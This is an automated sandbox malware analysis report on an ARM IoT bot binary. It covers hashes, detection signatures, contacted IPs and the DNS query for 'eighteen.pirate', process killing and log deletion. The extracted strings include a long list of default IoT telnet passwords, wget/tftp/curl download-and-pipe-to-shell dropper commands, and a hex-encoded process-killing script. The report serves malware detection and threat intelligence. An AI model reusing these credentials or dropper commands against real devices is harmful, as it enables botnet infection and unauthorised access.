Linux Analysis Report
la.bot.arm5.elf

Overview

General Information

Sample name: la.bot.arm5.elf
Analysis ID: 1541936
MD5: 5c9b90b9c8b465b1d4238fd3c8410f95
SHA1: e806788912fe5ba36322cd02a2c8d52e6408f091
SHA256: d890625fe5e242f3dab1438299197051e87c4c644e3591edc9377dd6902d0aef
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: la.bot.arm5.elf ReversingLabs: Detection: 39%
Source: la.bot.arm5.elf String: ash|login|wget|curl|tftp|ntpdate|ftp|mount
Source: la.bot.arm5.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp|mount/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc//proc/self/exe/dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: la.bot.arm5.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

barindex
Source: global traffic TCP traffic: 103.253.147.242 ports 2,3,4,8,9,38429
Source: global traffic TCP traffic: 192.168.2.14:40212 -> 103.253.147.242:38429
Source: /tmp/la.bot.arm5.elf (PID: 5482) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 33.151.182.156
Source: unknown TCP traffic detected without corresponding DNS query: 33.151.182.156
Source: unknown TCP traffic detected without corresponding DNS query: 76.73.232.160
Source: unknown TCP traffic detected without corresponding DNS query: 76.73.232.160
Source: unknown TCP traffic detected without corresponding DNS query: 131.22.162.175
Source: unknown TCP traffic detected without corresponding DNS query: 131.22.162.175
Source: unknown TCP traffic detected without corresponding DNS query: 82.61.143.10
Source: unknown TCP traffic detected without corresponding DNS query: 167.129.247.65
Source: unknown TCP traffic detected without corresponding DNS query: 82.61.143.10
Source: unknown TCP traffic detected without corresponding DNS query: 167.129.247.65
Source: unknown TCP traffic detected without corresponding DNS query: 63.3.11.116
Source: unknown TCP traffic detected without corresponding DNS query: 63.3.11.116
Source: unknown TCP traffic detected without corresponding DNS query: 59.107.123.56
Source: unknown TCP traffic detected without corresponding DNS query: 137.42.235.169
Source: unknown TCP traffic detected without corresponding DNS query: 59.107.123.56
Source: unknown TCP traffic detected without corresponding DNS query: 195.14.105.159
Source: unknown TCP traffic detected without corresponding DNS query: 137.42.235.169
Source: unknown TCP traffic detected without corresponding DNS query: 69.231.219.211
Source: unknown TCP traffic detected without corresponding DNS query: 164.82.197.141
Source: unknown TCP traffic detected without corresponding DNS query: 195.14.105.159
Source: unknown TCP traffic detected without corresponding DNS query: 69.231.219.211
Source: unknown TCP traffic detected without corresponding DNS query: 186.215.148.174
Source: unknown TCP traffic detected without corresponding DNS query: 164.82.197.141
Source: unknown TCP traffic detected without corresponding DNS query: 107.28.241.67
Source: unknown TCP traffic detected without corresponding DNS query: 186.215.148.174
Source: unknown TCP traffic detected without corresponding DNS query: 204.255.134.183
Source: unknown TCP traffic detected without corresponding DNS query: 107.28.241.67
Source: unknown TCP traffic detected without corresponding DNS query: 139.119.137.66
Source: unknown TCP traffic detected without corresponding DNS query: 204.255.134.183
Source: unknown TCP traffic detected without corresponding DNS query: 30.132.31.101
Source: unknown TCP traffic detected without corresponding DNS query: 139.119.137.66
Source: unknown TCP traffic detected without corresponding DNS query: 132.13.12.132
Source: unknown TCP traffic detected without corresponding DNS query: 30.132.31.101
Source: unknown TCP traffic detected without corresponding DNS query: 159.173.81.32
Source: unknown TCP traffic detected without corresponding DNS query: 132.13.12.132
Source: unknown TCP traffic detected without corresponding DNS query: 174.49.5.243
Source: unknown TCP traffic detected without corresponding DNS query: 159.173.81.32
Source: unknown TCP traffic detected without corresponding DNS query: 53.88.105.210
Source: unknown TCP traffic detected without corresponding DNS query: 174.49.5.243
Source: unknown TCP traffic detected without corresponding DNS query: 128.45.225.2
Source: unknown TCP traffic detected without corresponding DNS query: 53.88.105.210
Source: unknown TCP traffic detected without corresponding DNS query: 170.100.132.104
Source: unknown TCP traffic detected without corresponding DNS query: 128.45.225.2
Source: unknown TCP traffic detected without corresponding DNS query: 49.197.177.11
Source: unknown TCP traffic detected without corresponding DNS query: 170.100.132.104
Source: unknown TCP traffic detected without corresponding DNS query: 16.213.84.110
Source: unknown TCP traffic detected without corresponding DNS query: 49.197.177.11
Source: unknown TCP traffic detected without corresponding DNS query: 147.124.164.7
Source: unknown TCP traffic detected without corresponding DNS query: 16.213.84.110
Source: unknown TCP traffic detected without corresponding DNS query: 46.221.101.42
Source: global traffic DNS traffic detected: DNS query: eighteen.pirate
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.arm5.elf String found in binary or memory: http:///curl.sh
Source: la.bot.arm5.elf String found in binary or memory: http:///wget.sh
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Source: ELF static info symbol of initial sample .symtab present: no
Source: /tmp/la.bot.arm5.elf (PID: 5484) SIGKILL sent: pid: 940, result: successful Jump to behavior
Source: classification engine Classification label: mal60.troj.evad.linELF@0/0@3/0

Data Obfuscation

barindex
Source: /tmp/la.bot.arm5.elf (PID: 5485) File: /etc/config Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5485) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5485) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5485) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5485) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5485) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5485) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5485) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5485) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5485) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5485) Directory: /etc/.java Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/490/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/791/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/794/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/795/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/797/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/853/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/917/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/780/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/661/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/782/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/785/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/940/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/767/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/888/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/725/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/769/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/726/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/803/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/806/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/807/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5484) File opened: /proc/928/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection

barindex
Source: /tmp/la.bot.arm5.elf (PID: 5485) Log files deleted: /var/log/kern.log Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5482) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm5.elf, 5482.1.00007ffc586f2000.00007ffc58713000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/la.bot.arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm5.elf
Source: la.bot.arm5.elf, 5482.1.0000557311fb6000.0000557312104000.rw-.sdmp Binary or memory string: sU!/etc/qemu-binfmt/arm
Source: la.bot.arm5.elf, 5482.1.0000557311fb6000.0000557312104000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm5.elf, 5482.1.00007ffc586f2000.00007ffc58713000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs